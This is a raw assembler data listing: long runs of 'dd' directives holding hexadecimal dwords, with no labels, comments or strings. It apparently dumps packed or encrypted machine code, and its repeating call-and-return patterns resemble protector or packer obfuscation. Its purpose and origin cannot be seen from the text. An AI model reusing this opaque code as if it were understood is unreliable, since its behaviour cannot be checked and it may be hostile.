		dd 5F9E84A1h, 0F7311734h, 0F9DAA7C4h, 39620B4Bh, 5C3A9313h
		dd 275588C2h, 0DDFA2563h, 5C8ABDF7h, 0E397751h,	0CF518B71h
		dd 0AF4510E6h, 3D6BCD19h, 0E00E3D79h, 0DEC6AFD2h, 6E5471A4h
		dd 1E7042Fh, 5E6997C2h,	0EE1C4384h, 60A18724h, 0B0270B39h
		dd 75A0DFC5h, 5C0A2B58h, 16C9CC1Ah, 7F3FEDA4h, 7F16C9CCh
		dd 240AA709h, 0F189B7EAh, 16C9CCD0h, 7D2E4766h,	40CF01D3h
		dd 5BCDh, 88C29300h, 9CD8B255h,	8018D06Dh, 16C91A3Ch, 0D9ED7F6h
		dd 40CFD743h
		dd 15Dh, 5A7B2300h, 0C91AEAACh,	0DB7EF416h, 0C91A692Dh
		dd 62FF7516h, 0E311407Ch, 99C2FED8h, 2FCC2E5Dh,	0B0DE0D49h
		dd 507EB1ECh, 4E561F42h, 6640E312h, 5CFFD28h, 0A1DBC168h
		dd 0B5F1CB6Eh, 1442E986h, 2B5984C2h, 0CEFC2B67h, 0AEF67FDEh
		dd 0EB2A0470h, 98C892C0h, 16C91AD6h, 0E30062D8h, 6290C3FDh
		dd 8F32619Eh, 104F78B5h, 8BEDB7E5h, 3EF6935Dh, 4A7CE6Fh
		dd 40CFD54Ch, 0B764h, 4C7B2A00h, 0B193534h, 462CC9CDh
		dd 0EBAFDD08h, 6A1B30AEh, 0B94C12C0h, 0DC5216C9h, 82F1902Bh
		dd 0C9E4F220h, 0EA87AEEFh, 7C9DC0B5h, 0C93588CEh, 6BA61616h
		dd 0DE400A38h, 0F21D5B41h, 86B1EFD5h, 5214C2E3h, 5C16C935h
		dd 0CD9149E6h, 62315F92h, 39F7B4C1h, 5740CFFAh,	73h, 0DA05441Eh
		dd 7411447Eh, 5984C246h, 0FA5087B6h, 6997C200h,	0EEEE9Fh
		dd 2E39F18Eh, 0BDEB1654h, 298BBEF9h, 3C67A68Ch,	5580BF99h
		dd 8C05D27h, 0AAD80744h, 7A4E0B91h, 106C8A2Ch, 8979A7D2h
		dd 43534B2Ah, 0E52381F4h, 598BCB79h, 9D1316C9h,	1569983Bh
		dd 25643494h, 0B6E48B28h, 295786C2h, 0C91AB091h, 8EE70616h
		dd 0CFD7731Dh, 16D40h, 0C2330000h, 64285685h, 5C9F72Ah
		dd 0AB6F9DC4h, 970F3D70h, 0F5712D48h, 70ADF77Eh, 93EB2441h
		dd 6F518023h, 0C9F433A9h, 7495A818h, 67FCAAD7h,	9F1C3166h
		dd 0FD37FB29h, 8DC7ADCAh, 0D0942C5Ah, 221320ACh, 0C802A2D3h
		dd 58927895h, 0F62007D6h, 8BED08AFh, 325F995Dh,	0C164C6F5h
		dd 6E0C1F92h, 9F3C9F5Ch, 6CE223E7h, 5BB0CE9Dh, 0B1DF4145h
		dd 4B85B2EDh, 0B788B618h, 0BB435B1Ah, 2A694364h, 0D707D1FFh
		dd 1320D997h, 0CF04A117h, 91C4FEA6h, 2F6D4774h,	0D8886704h
		dd 0D8452614h, 164h, 8ED07E9Fh,	101320ADh, 0D2013E9Ah
		dd 176F0735h, 0FD5604A7h, 291C3209h, 8F1ABE64h,	8CEE934Ch
		dd 2D609A5Eh, 41B4E310h, 1EA0F42Fh, 276147E4h, 94EA05A5h
		dd 8BED9B2Fh, 4123525Dh, 7234E200h, 7C1320E9h, 0DD6A5506h
		dd 73AD9330h, 0C3221240h, 85B8F2B2h, 27613B68h,	0DBBC6F4h
		dd 13204049h, 0E07DDF55h, 268D5F01h, 76244545h,	13205430h
		dd 8AAB48BEh, 52h, 0AC5A7B50h, 16C91AEAh, 2DDB7EF4h, 16C91A69h
		dd 2962FF75h, 0F82B66D2h, 0D145F396h, 1216C919h, 31CEF938h
		dd 13ABD94Fh, 16C91A53h, 95C8AD4Ah, 1B557EBBh, 8EF0BAE8h
		dd 0EF61B8F1h, 19089E4Ch, 0A01616C9h, 3D7C5683h, 7D1AE412h
		dd 9B9Fh, 176FDF00h, 0E2446FADh, 1E88913Fh, 14431C32h
		dd 0C7820433h, 32A6BF1h, 96A4F0A1h, 9D36B89h, 0E6148A6Ch
		dd 12B5E822h, 30CDFC38h, 0E769A389h, 0D531111Ah, 2351B37Eh
		dd 0D6FD3E18h, 0A0807F39h, 0C3121320h, 93D1ABB2h, 0CD703A68h
		dd 20A05F1Fh, 4CE95F13h, 0AB82C66h, 1320A044h, 8331D44Ah
		dd 1320A0C3h, 50F355CBh, 0A03D812Fh, 51C11320h,	0E784E615h
		dd 3FAF0740h, 0E8FAEE9Ch, 0A8019D0h, 0ABDE18DCh, 5322997Dh
		dd 9336A6FEh, 2090F3E5h, 5E01771Ch, 0ED1B4684h,	0B1DF8623h
		dd 4A7176Fh, 1C5870D5h,	0E402B3DEh, 0BAE784D2h,	3E6F6A99h
		dd 203102BEh, 0BB85B3E6h, 0EE02BC59h, 291C39A5h, 0C0FB81FAh
		dd 2FCC26D0h, 0E5A9D74Dh, 755B78ABh, 42DA083Bh,	11B44109h
		dd 0B99DCFFh, 9B819ED1h, 0F5002E61h, 0E99410C6h, 0FBA9458Ch
		dd 1EC584BBh, 0CE6BCD43h, 4680ADE8h, 0B91BE513h, 4530A78Bh
		dd 0D5F2255Fh, 5482B5EFh, 0A98h, 0C5FFD900h, 0FD9A6492h
		dd 0C233A1CFh, 692D5B82h, 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh
		dd 0F9BDEB16h, 9E6290BBh, 3E023063h, 0E0A4D201h, 864775A4h
		dd 5E08950h, 4,	4B951h,	0C8290000h, 24048759h, 0E289525Ch
		dd 4C281h, 0EA810000h, 4, 5C241487h, 68240489h,	3085h
		dd 57243489h, 0F078DBBFh, 8BF88905h, 0C483243Ch, 4EC8304h
		dd 81242489h, 42404h, 535E0000h, 8BBh, 50F30100h, 0B240481h
		dd 8F0C1221h, 0B2B8103h, 5B0C1221h, 5724348Bh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 34FF5C24h, 0C4815824h,	4, 0F901EEE9h
		dd 8701B7FFh, 0DE77EA99h, 0F07D7BB8h, 0FFC50305h, 437625E0h
		dd 0B426AE4Fh, 829AA7Ah, 5618EF70h, 0BEA60033h,	4E625B0Dh
		dd 0A9F3994Bh, 4802662Eh, 78319A15h, 0B44A8D6Ch, 7DFA3A08h
		dd 0D1A00742h, 3D34DA5Bh, 620C8B6Dh, 3F63991Fh,	32523601h
		dd 466F742Dh, 0EAA2B71Bh, 0DADE2029h, 11D64F03h, 4C22E41Ah
		dd 6B264354h, 0EA66442Ch, 10EB6Dh, 3 dup(0)
		dd 8B000000h, 835E52C0h, 0E9164DBDh, 9750005h, 1121BD83h
		dd 740005E9h, 8B535019h, 42DB8C0h, 85890000h, 5E923B9h
		dd 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h
		dd 42DB853h, 85890000h,	5E923B9h, 0B5B39D8Dh, 0D3FF05EBh
		dd 8D0F585Bh, 3, 0E9D6B70Fh, 0Dh, 0F3FAF3CEh, 2F574C66h
		dd 389E0DA1h, 6AC08B57h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 9623C350h, 86F476A1h
		dd 8707AD9Ah, 12C1958Bh, 6E805E9h, 0B1000000h, 0D1DE7FB5h
		dd 10E839h, 0A85A0000h,	1D106B7Fh, 3916199Dh, 32CB76AEh
		dd 958BA198h, 5E9034Dh,	8D8B5E5Eh, 5E91C9Dh, 1CA1BD89h
		dd 0F98305E9h, 0AD840F00h, 0F000000h, 287h, 64D78B00h
		dd 2C3D8Bh, 0B70F0000h,	0FFF0BD2h, 9384h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 850523AEh, 0E948FF78h, 0Dh, 1027F571h, 9158C319h, 2EF6FD4Ah
		dd 0C5858986h, 8B05E905h, 56006A3Fh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0FA55919Dh
		dd 0AF8BC0C5h, 0B70F6E42h, 6AC032D3h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 751AC350h
		dd 0B3FD4921h, 0D38C47Ah, 958BAAF3h, 5E9195Dh, 50414935h
		dd 52006A53h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 8652D54Eh, 5D9B2DD8h, 8BD1BF0Fh,	0E90635B5h
		dd 0E585C605h, 4705E90Eh, 2D498D01h, 0D96805E9h, 0E8CE2FD9h
		dd 5, 5A5DCC62h, 0BE853BAh, 85000000h, 0BB096EFBh, 0FF4FC1B5h
		dd 5A5AF299h, 2434815Eh, 12F951F5h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 3DC35545h, 24574B30h, 0D0BF0FC1h
		dd 0A6C68152h, 5E4E8C4Bh, 1EFDB5FFh, 890F05E9h,	2, 858DD3B2h
		dd 5EC7A6Fh, 71958B57h,	5E05E906h, 0BD89D0FFh, 5E90EA1h
		dd 2B2D8589h, 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 7C3AC0C3h, 0E4BA44F4h, 890BF046h
		dd 0E9031DBDh, 0E585C605h, 5305E90Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0DDC35545h,	0FB34338Dh, 0B58BBB1Fh
		dd 5E906ADh, 4E8h, 986AFC00h, 6E988h, 7C850000h, 0FA196909h
		dd 0E6B56050h, 2890Fh, 0DA8B0000h, 24448B61h, 8B666004h
		dd 6E9F0h, 0E7D40000h, 6B56EAFh, 89008B61h, 8B042444h
		dd 958B58F3h, 5E907E5h,	1EFDB5FFh, 6A05E9h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 95B2E8C3h
		dd 89CD4885h, 0FCAA0AAh, 387h, 0F7B70F00h, 7A6F858Dh, 8B6605ECh
		dd 6AD0FFD7h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0F9BBC353h, 0B4EC5763h, 42A728BEh
		dd 0BB666014h, 8D61E9A5h, 0EC447085h, 56006A05h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 29BEB81Dh, 0DDDFC758h, 13E9h, 4CA25800h, 94AE27D3h
		dd 94B2E113h, 0F5DC8407h, 159A5EA4h, 26758589h,	6A05E9h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 738EE0C3h, 11E927E4h, 24000000h, 0BB1478D4h,	2D81FB16h
		dd 0E5EE814Ah, 0FFDAD48h, 0FF6A206Ah, 267595FFh, 493505E9h
		dd 0C7535041h, 0E9309585h, 105h, 6185C700h, 5E912h, 31000000h
		dd 0E9318585h, 0B70F6005h, 25BD89FBh, 6105E910h, 1EDDBD83h
		dd 0F0005E9h, 4484h, 0EEF68000h, 0ACD858Bh, 8D8905E9h
		dd 5E90359h, 0A364h, 0BF0F0000h, 69858BF7h, 305E91Fh, 0E9227D95h
		dd 6AE08B05h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0F1AEC355h, 21BD837Dh,	5E910h
		dd 46C850Fh, 9D890000h,	5E91275h, 0EE585C6h, 6A5605E9h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0A535C350h, 544C3DE5h, 24A1B58Bh,	4E805E9h
		dd 0DF000000h, 0BEA9C530h, 1ED129A0h, 12E850h, 0AFE00000h
		dd 261C9981h, 0CD3E3598h, 0CC1014AFh, 4610F6Bh,	0CE9h
		dd 70779C00h, 0FE50452Ch, 923F0868h, 448B5EDFh,	13E90424h
		dd 8000000h, 160CF0B5h,	0DAA226D6h, 20CF1E58h, 0ABB7E5F7h
		dd 8BBE31h, 10BE6650h, 44895AB7h, 0F580424h, 138Ch, 0EE900h
		dd 51FA0000h, 7D505AD3h, 7003D762h, 0FD2DF2F8h,	0B5FFD78Bh
		dd 5E91EFDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	83C35141h, 0EDAA746Bh, 0C64CC72Fh, 6F858DCAh, 8905EC7Ah
		dd 0E90ECDBDh, 6AD0FF05h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 7101C353h, 8F0FC99Ch
		dd 6, 16EDBD89h, 816605E9h, 5088CBF2h, 13E8h, 4BC8BA00h
		dd 4549594Fh, 0DB52FABh, 0A2E123EAh, 0C7EF673Bh, 895EF38Bh
		dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 4A3036C3h, 0CDAB1356h, 0C68160DAh, 65EA385Ch
		dd 7999D89h, 8D6105E9h,	0E927498Dh, 0DD958B05h,	5005E904h
		dd 1A8A0Fh, 52500000h, 310F6160h, 0DE9h, 0EC051800h, 1AEC7D42h
		dd 0A80F3CBCh, 585A56DAh, 0E8240C89h, 5, 0FDC1532Dh, 70BA667Bh
		dd 46A5AC2h, 68D18B66h,	5D45F008h, 14E9h, 9D016D00h, 0BA621E55h
		dd 0E2C026D4h, 0C1196ECBh, 0E195B64Bh, 2434811Ch, 5D45E008h
		dd 1851BD09h, 8A0F05E9h, 7, 0FA21BE52h,	0FF5A425Ah, 0E90769B5h
		dd 698D8905h, 0FF05E932h, 5E8D0h, 6F5A0000h, 142E143h
		dd 0E9077D9Dh, 0B58B5A05h, 5E902C1h, 769BD8Bh, 6A05E9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 29596FC3h, 0B3192051h, 13E8D9D6h, 89000000h,	75DF2FF5h
		dd 0DB105954h, 0EC2C1FEh, 153110CFh, 0F603AF1h,	9E8D0BFh
		dd 1000000h, 0EBB6C36h,	1297AA26h, 35E6159h, 85293C7Fh
		dd 5E91985h, 0F8C781h, 0CA810000h, 418AB7Ah, 202447C7h
		dd 83600000h, 0F07E76BDh, 840F0005h, 14Dh, 8BD38B66h, 0E930E9B5h
		dd 28C78305h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	7AC35141h, 2BAE147Dh, 7C7F08Bh,	64696A2Eh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F7C35141h, 3AAEF52Eh
		dd 6216C0DAh, 0D6816602h, 47C7A0C3h, 61746104h,	3800F00h
		dd 80000000h, 858BD6D6h, 5F07E7Eh, 4789D38Bh, 79D6800Ch
		dd 22D59D31h, 858B05E9h, 5F07E82h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 84C35646h, 0B90F53B3h, 8D09FC76h
		dd 5E903DDh, 89084789h,	0E92EC1B5h, 28C78305h, 643FBE66h
		dd 632E07C7h, 81666E6Fh, 0C7BB15EAh, 69660447h,	850F0067h
		dd 2, 0B533F78Bh, 5E9191Dh, 7E7A858Bh, 89F805F0h, 6A0C47h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 7FFE51C3h, 5DB589E1h, 8905E90Dh, 0E916859Dh,	76858B05h
		dd 6A05F07Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0E365C350h, 15F280D1h, 51B58Bh, 478905E9h
		dd 958B5608h, 5E90E31h,	9D31585Ah, 5E92E2Dh, 10858D8Dh
		dd 890F05E9h, 6, 0E05BD29h, 0E89105E9h,	0Fh, 35928DE2h
		dd 0DDEE4940h, 0FA36E745h, 0BA49BE58h, 772E020Eh, 0BA66505Eh
		dd 0FF91B901h, 0E92749B5h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 4CA7EA29h
		dd 8C346826h, 8B662699h, 243481F2h, 26999C34h, 2B55B50Bh
		dd 0B5FF05E9h, 5E90769h, 0BD38B66h, 0E926ADB5h,	0E9D0FF05h
		dd 0Ah,	3825D80Eh, 0DFBAEF84h, 0B8B716h, 0E9000000h, 11h
		dd 0A1198EA6h, 0F8EEAA57h, 70374B50h, 0DAC72D6Ch, 0FC00BCBh
		dd 1884h, 0DE816600h, 0B5FF8F41h, 5E919BDh, 0C595FFF5h
		dd 8905E90Bh, 0E931219Dh, 83C08B05h, 0E9164DBDh, 9750005h
		dd 1121BD83h, 740005E9h, 8B535019h, 42DB8C0h, 85890000h
		dd 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h
		dd 50177400h, 42DB853h,	85890000h, 5E905ADh, 0B5CC9D8Dh
		dd 0D3FF05EBh, 7E9585Bh, 10000000h, 789A837Ah, 9533116Ah
		dd 5E9009Dh, 0CE8C08Bh,	2B000000h, 3BF5FD43h, 7080F5A0h
		dd 81A498BFh, 9A387BD6h, 0C08B5A45h, 13E8h, 0C24B1D00h
		dd 0A5F1C40h, 8D6EF7A3h, 64023A46h, 27D09B5Ah, 0C0EFDF81h
		dd 235E070Ch, 0E918C18Dh, 16C68105h, 89000069h,	0E9009985h
		dd 6E4B805h, 0C0814312h, 0BCEE1338h, 1ACA8166h,	0E91E8B6Ah
		dd 0Bh,	0D7466067h, 0A8565107h,	81A7860Bh, 0F622BBEBh
		dd 0B9BD8958h, 8105E90Dh, 669812C3h, 6890F3Dh, 29000000h
		dd 0E90FC1BDh, 54C38105h, 5330EE7Bh, 0C55D781h,	68F296Eh
		dd 83FFBF0Fh, 8D8B04EEh, 5E90E45h, 0F850F48h, 0F000000h
		dd 14E9C9B7h, 19000000h, 4FBFFD9Dh, 6AB6EC0Dh, 0FFFF98E9h
		dd 0BEF7F3FFh, 8D3244EEh, 0F089488Dh, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 1B449DD6h, 0E3300524h, 8E860h, 54B80000h, 0AF433DD2h
		dd 1FBE56AAh, 5E25321Ah, 2E7D8589h, 896105E9h, 0E926558Dh
		dd 585C705h, 9805E908h,	0E8000062h, 8, 0F667DC8Eh, 43CD8A30h
		dd 7DDBD89h, 0C75B05E9h, 0E9163D85h, 5,	7E900h,	3C690000h
		dd 9F3DF62Ah, 1DB5FFDAh, 0B05E932h, 0E905E9BDh,	0C595FF05h
		dd 0F05E90Bh, 6AF8B7h, 1E9595FFh, 0C08B05E9h, 8B870EEBh
		dd 4A10A2B4h, 0D5F1F6B6h, 0D24E766Bh, 0C08Bh, 1A1h dup(0)
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 27C35242h
		dd 0F7A1F34h, 181h, 0BE9F500h, 0A000000h, 0D66C83B4h, 0A18BC2ACh
		dd 6A9D1AD1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 18ACC357h, 13E9D9h, 7D1C0000h
		dd 1ADB6C56h, 0CCCA28B1h, 96AE1985h, 13181606h,	9E9E5h
		dd 2B5C0000h, 9FDFB996h, 6155BE4Ch, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 6EC35646h, 8BFC603Dh, 5DF861FAh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 7FC35242h
		dd 85F62213h, 8244401h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 1C35141h, 0B7102540h,	1A1F14ECh, 0AE958F9h
		dd 0E0000000h, 0F6E66F37h, 91B856A1h, 6AC39D2Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 5859C351h, 57006AD7h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 4AFC2FBCh, 0FFB8C4FAh, 6660FF88h
		dd 0F98935BBh, 0F8C08B61h, 5820Fh, 81660000h, 81CF24E0h
		dd 68DA82E3h, 7E839h, 85E20000h, 268E3D5Fh, 0D480532Ah
		dd 0E9595BC7h, 8, 0AD0A090Fh, 90879237h, 0C9CA8050h, 0F560F85Ah
		dd 0BD53BB61h, 0BF0F630Bh, 815160FEh, 0A267D9CEh, 12E95E75h
		dd 33000000h, 7D73DD24h, 6DF23813h, 4F951C56h, 2ABC2803h
		dd 0BE96176h, 60000000h, 0FBB8502Fh, 0EE7D24D3h, 7E87589h
		dd 0F000000h, 0FF2EA1DEh, 665EC56Eh, 80D8F681h,	5840Fh
		dd 81660000h, 0E99FFFD0h, 10h, 0A70DA023h, 0A6CD3F69h
		dd 34338DDDh, 73BB1FFBh, 3F3ACABBh, 42E6803Bh, 0FFBBF0Fh
		dd 58Fh, 8B665000h, 0BF0F5ADEh,	0B70FFCD1h, 6EC680C2h
		dd 66F78B66h, 817229BEh, 0D41CE0D6h, 0DB816658h, 0CA80413Fh
		dd 0F3B70F04h, 92BEF38Bh, 0F699977h, 0BF0FD3B7h, 8C0FF8F8h
		dd 0Fh,	0AE9h, 0E3650200h, 7389C4D1h, 0F52D369h, 0E87h
		dd 0C7816000h, 8CF8AD2h, 4A69D381h, 0F61077Ch, 8Eh, 66D88B00h
		dd 0CBA0EB81h, 8EBBDC8Ah, 0BB487DA4h, 23021313h, 9E9h
		dd 6EA6BC00h, 1A42630Eh, 0DF817FB2h, 6B04F42h, 0B3F28B66h
		dd 5830FEEh, 66000000h,	74C9F281h, 6E9h, 0D628CD00h, 0FE8B570h
		dd 8166D3BFh, 0E92FE9CEh, 0Ah, 0AFA72330h, 0CE29CCAEh
		dd 66F56472h, 0E9105DB8h, 5, 842B5A54h,	0D18B66B0h, 10E960h
		dd 310F0000h, 0B245665Ah, 13E01170h, 9B10998Dh,	81669B16h
		dd 61D96AD3h, 0E9D38BF5h, 10h, 26801BB0h, 4BD551A4h, 0A2421BFAh
		dd 554B9EDEh, 0F5F8FCF5h, 0DFC28166h, 0AEBF6069h, 80445DCAh
		dd 0F56177CDh, 1D870Fh,	11E80000h, 10000000h, 26883064h
		dd 0C73288BCh, 345203D9h, 0AD830398h, 0A16ECA81h, 665F0D81h
		dd 144F281h, 14E9h, 9120E00h, 0C00C5A17h, 276A3E48h, 0B814371Fh
		dd 0FE0CD82Fh, 0AAC2800Ch, 44BF66F8h, 3800F3Eh,	0F000000h
		dd 11E9F3BFh, 64000000h, 57F1A8ACh, 0E025907Ah,	0E7971527h
		dd 0E3315638h, 0D540D881h, 0B9560289h, 327E612Eh, 0EEF5805Eh
		dd 18F0Fh, 0BEFC0000h, 628FAC01h, 81665F56h, 0F96A7CBh
		dd 6E9F8B7h, 23000000h,	33B0E36h, 8E8F4h, 0DFDA0000h, 560A58F6h
		dd 5FF811D3h, 8A68CB80h, 0D28166EEh, 0BFF5FAECh, 780566D8h
		dd 0E8FFBF0Fh, 9, 77E27443h, 4F0DD866h,	20D281EBh, 58569C3Ah
		dd 11E9h, 506FD100h, 3430E078h,	0E1CE96A6h, 952812E7h
		dd 6E85363h, 13000000h,	2BD4F58Ch, 0E381662Eh, 0E85F4D18h
		dd 0Eh,	0CB794250h, 265CF1DFh, 0D2101A58h, 0BA505AA1h
		dd 53B14050h, 0F605F5Fh, 38Eh, 0FE8B6600h, 61F28B66h, 5830Fh
		dd 0C1BA0000h, 0E86908E1h, 0Ch,	972A530h, 35D49FB7h, 661514D2h
		dd 6890Fh, 880F0000h, 0
		dd 0D281665Bh, 8166C80Eh, 0E9F8CCD7h, 0Eh, 935A2C8Fh, 1CD3F37Dh
		dd 87CAE560h, 860FDC98h, 2, 0E8F5D78Bh,	14h, 5A7C60BDh
		dd 52E613C3h, 5F9074F9h, 2D2635Eh, 3253080Ch, 0BB665FF8h
		dd 0BE9DF83h, 47000000h, 0B34A27EFh, 0EBDAE7D9h, 0BF6681F3h
		dd 66F5C00Eh, 374CDB81h, 0CEB70F50h, 0F9B70F5Fh, 2870Fh
		dd 0CE8B0000h, 0FFB8B66h, 0B84h, 58C0F00h, 0BE000000h
		dd 1812394Ch, 2880Fh, 9BB70000h, 0CB8166FCh, 0F280484Fh
		dd 810F5236h, 0
		dd 0B1D8815Bh, 66480DB5h, 0BF7025B9h, 6011995Dh, 655451BEh
		dd 0C8BF0F0Fh, 0EE8h, 0BE0C1800h, 0C3958815h, 64D7BDF4h
		dd 66C4F2D9h, 0F59D68Bh, 481h, 4EBF6600h, 0CEBF0FB4h, 11E8h
		dd 775DC300h, 5BA6A32Bh, 0FC4A36F7h, 25DF5F57h,	880F0D15h
		dd 5, 20DE8166h, 8B66590Ah, 0EE9CEh, 3B8C0000h,	123CAB9h
		dd 5AFE47Bh, 0A39E46A9h, 8452F181h, 0F5105ADh, 0E95EC0B7h
		dd 12h,	12C484AFh, 0A385FEB7h, 46A0D618h, 0DF30D117h, 8166E18Ch
		dd 0BED4A1E9h, 64091457h, 6E8h,	3F7DA700h, 0E8A9DBB1h
		dd 6, 0DFA11173h, 0BE80AF7h, 4F000000h,	7A3E587Ah, 0BBCD72A1h
		dd 5B5F50C9h, 0B966FC58h, 0CF8A91C8h, 5E9C1B3h,	0F2000000h
		dd 9044B415h, 13880Fh, 0E8600000h, 0Bh,	0D47E824Eh, 8A9D141Ah
		dd 5FC57108h, 0F9525161h, 0BBBE595Bh, 6074F0A2h, 0CDBA66F5h
		dd 0E86061B9h, 5, 2CE4DAA6h, 4EBF66D9h,	0BB615866h, 6E435E22h
		dd 0BE851F9h, 57000000h, 593499E9h, 0AC1D99B0h,	58FCF653h
		dd 0DF8BFC58h, 0CE9h, 0B85C2300h, 0CE4F2AA7h, 6DEED9B8h
		dd 71D8813Ah, 80671799h, 0BE96DD2h, 8E000000h, 5F4DD9A9h
		dd 95A5A5F5h, 0BA66595Eh, 8B66AA4Ch, 0FE18AF1h,	0BB66F0BFh
		dd 0FF59531h, 168Ah, 11E900h, 3C2F0000h, 1A681030h, 65C956C0h
		dd 0DD44DF78h, 57563153h, 59A4E480h, 1840Fh, 0FFC0000h
		dd 48Fh, 25B15100h, 0F781665Ah,	890FD775h, 2, 0E9FC2AB2h
		dd 0Dh,	4407D4C1h, 23F7845h, 253057F7h,	0C18B6640h, 57F8C78Bh
		dd 0D7816659h, 0BA66BF9Dh, 0F98BE68Ah, 0AE9F8F5h, 0DF000000h
		dd 1CD89F0Bh, 81B70B37h, 0AE9D1h, 33820000h, 1B747AC3h
		dd 6E639A74h, 8E9h, 0B3614400h,	9FA3F2BEh, 66F88BE0h, 47F9EF81h
		dd 0E96077B6h, 0Bh, 0CD7D3D5Ch,	0FDFC786Ch, 0E8184D88h
		dd 6, 455EE902h, 6EBE55FAh, 59566A75h, 0EE9F561h, 1E000000h
		dd 0BA451E2Eh, 2B94E6FDh, 66C7B96Eh, 46DF80E8h,	0D0D0BF66h
		dd 81FBB70Fh, 64C47AE8h, 0FDE8B58h, 0E853C3BFh,	13h, 0E4DBE6EAh
		dd 0A0F5C00Fh, 5BD1102Fh, 0C2E5E8D8h, 60A6C04Ah, 0E9595B61h
		dd 8, 754F17E4h, 2493B344h, 198A0Fh, 14E90000h,	95000000h
		dd 0A0D26940h, 0B1D03522h, 6DEA4F06h, 5EA584BEh, 6646C9A9h
		dd 0E8EAA1B8h, 9, 92972A1Fh, 68E2F727h,	0D98166FCh, 0B95AF39Ch
		dd 665C0087h, 1F04F681h, 840F6AB1h, 0Eh, 7E953h, 0D030000h
		dd 79822B58h, 870F5B8Bh, 0Bh, 58E0Fh, 81660000h, 66D5D6C0h
		dd 10E9D98Bh, 0AB000000h, 4D421C55h, 336F8A5Ah,	770D701Eh
		dd 562627DBh, 0F85ACB8Bh, 48D0Fh, 60600000h, 0C1816161h
		dd 3C049167h, 0B57ABE66h, 5927B057h, 8AD7B70Fh,	0FE8B66F4h
		dd 5D8092BAh, 0D381664Fh, 8166BB3Fh, 0FBADAC9h,	281h, 60F88B00h
		dd 8E8h, 0D2EB9B00h, 0F4B5A4BAh, 0C78B665Fh, 0CEBF665Eh
		dd 0FB8B6172h, 0E88A99B2h, 0CE8h, 16DAE800h, 6CE41A44h
		dd 0BF739741h, 38E0FA5h, 0F000000h, 815BD9B7h, 0CE6DBCBh
		dd 0A5B46029h, 61F18B66h, 0AE9F8h, 0CE60000h, 2115E12Ch
		dd 231FF3E9h, 0AEB7A3B5h, 5ECEBA66h, 5E8h, 38CD7100h, 0BF0FC69Ch
		dd 0BE605BC0h, 253575B6h, 9E9h,	0D2092700h, 46747780h
		dd 0E961F2F3h, 14h, 8957D6B9h, 293B1CFCh, 5C475D53h, 0D82DAF3Ch
		dd 730CBB7Ah, 0B8D78B66h, 50FB04C9h, 0AD43B1BBh, 0BE85Ah
		dd 6C5D0000h, 26EB7F28h, 0BAC3F3EDh, 93EB814Bh,	5B417F57h
		dd 0B966C88Ah, 8E0FFD82h, 5, 0DCD230BBh, 66F48A6Fh, 663AA5BEh
		dd 0E99E3BBEh, 10h, 0F62EA6FCh,	0D608B919h, 3A459E10h
		dd 593AF78Fh, 12E8D98Bh, 8E000000h, 0C3FFB9F6h,	20F1FBA6h
		dd 0CB3D0AF9h, 47E49373h, 0EE9BDh, 3D2B0000h, 7AB626E2h
		dd 0B10326E9h, 0ABB93A57h, 2870F5Fh, 0B2000000h, 0FE58A45h
		dd 58Bh, 0DE816600h, 0BB66461Bh, 0BF0FF4D4h, 0C68B66C1h
		dd 0E9C8BF0Fh, 10h, 1D6E8700h, 0ED7EAD9Bh, 12D329BBh, 6C90CBDCh
		dd 0FCABF0Fh, 8B66C0BFh, 0CF8160FAh, 35498CACh,	0EE9h
		dd 68E93400h, 0C229F84Dh, 78A87D66h, 61827E88h,	0F2AC180h
